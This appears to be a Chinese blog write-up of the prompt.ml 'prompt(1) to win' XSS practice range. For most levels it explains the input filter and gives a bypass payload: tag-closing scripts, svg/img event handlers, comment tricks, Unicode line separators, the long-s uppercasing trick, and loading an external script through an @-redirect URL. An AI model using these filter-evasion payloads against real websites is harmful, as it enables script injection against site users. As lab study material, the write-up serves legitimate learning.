当前位置:网站首页>XSS靶场(三)prompt to win
XSS靶场(三)prompt to win
2022-07-31 04:14:00 【树迷了路】
靶场地址:prompt(1) to win - 0x0http://prompt.ml/0
0x00
无过滤,闭合双引号及标签即可;
"><script>prompt(1)</script>//
0x01
替换 </ 任意字符 > 为空;
用<svg标签和HTML容错机制不写 ">" ,加空格、回车、注掉即可;
<svg onload=prompt(1)//
<img src=1 onerror="prompt(1)"
0x02
过滤了 = 和 ( ,那就不用他俩;
用JS的 eval函数加 call方法,再给( unicode为 u0028即可;
或者用svg标签 加HTML编码;
<script>eval.call`${'prompt\u00281)'}`</script>
<svg><script>prompt(1)</script>
0x03
限制了 -->让我们无法闭合;
用 --!> 闭合即可;
aaa--!>
<script>prompt(1)</script>
0x04
这里限制src的值的开头必须为http://prompt.ml/;
可用@来重定向,但url:user:[email protected]中password后不能有 / ,用%2f代替;
在服务器根目录下写一个test.js,里面写个prompt(1)即可;
http://prompt.ml%[email protected]/test.js
0x05
将 >、on.+?=、focus 字符替换为 _ ,所以过滤了js的autofocus事件以及 on开头的事件;
但没有过滤换行,可利用HTML容错机制,只要关键字和语法正确,不受空格和换行符影响的特性,再闭合前后 "" 即可;
a" type=image src=1 onerror
="prompt(1)
0x06
这里构造了一个from表单,必须输入形如 formURL#formDataJSON这样的如:http://httpbin.org/post#{"name":"Matt"},#分割成数组,提取formURL构造form表单,"formURL"赋值给form标签中的action,method是"post",fromData[0]值 "name"赋值给name,"Matt"赋值给value;
然后过滤document.forms[0].action中的 script和data,致使javascript:prompt()不能直接使用;
但如果将name赋值为"action",则后面的action会直接覆盖前面的第一个action,即:document.form[0].action指向的就不是form标签中的action,而是name="action"中的"action",过滤也就失效了;
javascript:prompt(1)#{"action":"Matt"}
0x07
这里定义了一个 # ,每个 #都会致使一个新 title的产生,每个 title后只显示前12个输入的字符;
用 /* */去除多余部分,逃逸长度限制 即可;
"><script>/*#*/prompt(1/*#*/)</script>
0x08
这里将 \r\n < / " 过滤,这就没法逃逸单行注释了;
但 javaScript规定有5个字符,不能在字符串中直接出现,只能使用转义形式,其二为:
- u+2028:行分隔符
- u+2029:段分隔符
这东西没法直接用,得现在控制台让其生成一个特殊的payload,然后我们复制,再配合 --> 主调后面的 " 即可;
'\u2028prompt(1)\u2029-->' //复制到控制台生成特殊payload再复制拿去用
0x09
这里的正则匹配<a-zA-Z>,还给< 后面加上了_, 并且转大写,这几乎过滤了所有的标签;
所以要用到一个技巧:有这样一个字符 ſ ,它在转大写后会变成S;
又因为html对大小写不敏感,JS对大小写敏感,所以把prompt编码为:prompt 即可;
<ſcript src=1 onerror=prompt(1)></script>
<ſvg onload=prompt(1)>
0x0A
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( )
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
破局点在于 ' 被替换为空,那就把 ' 插到prompt中 即可;
p'rompt(1)
0x0B
过滤了一堆东西;
解法没搞懂,哈哈;
"(prompt(1))in"
0x0C
这里先过滤,后替换,所以第10题那样行不通;
用 parseInt() 函数可解析字符串并返回整数,再用toString解码即可绕过;
关于parseint()函数的理解:关于JavaScript parseInt() 函数的理解_树迷了路的博客-CSDN博客
eval((630038579).toString(30))(1)
0x0D
未完成
0x0E
未完成
0x0F
和第七题差不多,不过是过滤了/*,构造<!-- -->即可 ;
配合<svg>使注释生效即可;
关于此题中<svg>使用详解:http://t.csdn.cn/1P2Ik
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
边栏推荐
- binom二项分布,
- MySQL based operations
- Redis counts new and retained users
- 慧通编程第4关 - 魔法学院第6课
- 开放原子开源基金会秘书长孙文龙 | 凝心聚力,共拓开源
- ERROR 1819 (HY000) Your password does not satisfy the current policy requirements
- 重磅 | 基金会为白金、黄金、白银捐赠人授牌
- (八)Math 类、Arrays 类、System类、Biglnteger 和 BigDecimal 类、日期类
- The application and practice of mid-to-platform brand advertising platform
- el-image标签绑定点击事件后没有有用
猜你喜欢
BUG destroyer!!Practical debugging skills are super comprehensive
已解决:不小心卸载pip后(手动安装pip的两种方式)
VScode+ESP32快速安装ESP-IDF插件
已解决(最新版selenium框架元素定位报错)NameError: name ‘By‘ is not defined
微信小程序使用云函数更新和添加云数据库嵌套数组元素
Summary of Huawei Distributed Storage FusionStorage Knowledge Points [Interview]
MySQL数据库增删改查(基础操作命令详解)
MySQL based operations
Knowledge Distillation 7: Detailed Explanation of Knowledge Distillation Code
(四)递归、可变参数、访问修饰符、理解 main 方法、代码块
随机推荐
Redis uses LIST to cache the latest comments
ERROR 1819 (HY000) Your password does not satisfy the current policy requirements
MATLAB/Simulink&&STM32CubeMX工具链完成基于模型的设计开发(MBD)(三)
已解决:不小心卸载pip后(手动安装pip的两种方式)
Pytest电商项目实战(上)
mysql数据库安装(详细)
errno错误码及含义(中文)
Understanding of the presence of a large number of close_wait states
LocalDate加减操作及比较大小
已解决(最新版selenium框架元素定位报错)NameError: name ‘By‘ is not defined
Port inspection steps - 7680 port analysis - Dosvc service
三子棋的代码实现
MySQL数据库增删改查(基础操作命令详解)
两个地址池r2负责管地址池r1负责管dhcp中继
el-image标签绑定点击事件后没有有用
The application and practice of mid-to-platform brand advertising platform
[Paper reading] Mastering the game of Go with deep neural networks and tree search
BP神经网络
A brief introduction to the showDatePicker method of the basic components of Flutter
Redis 使用LIST做最新评论缓存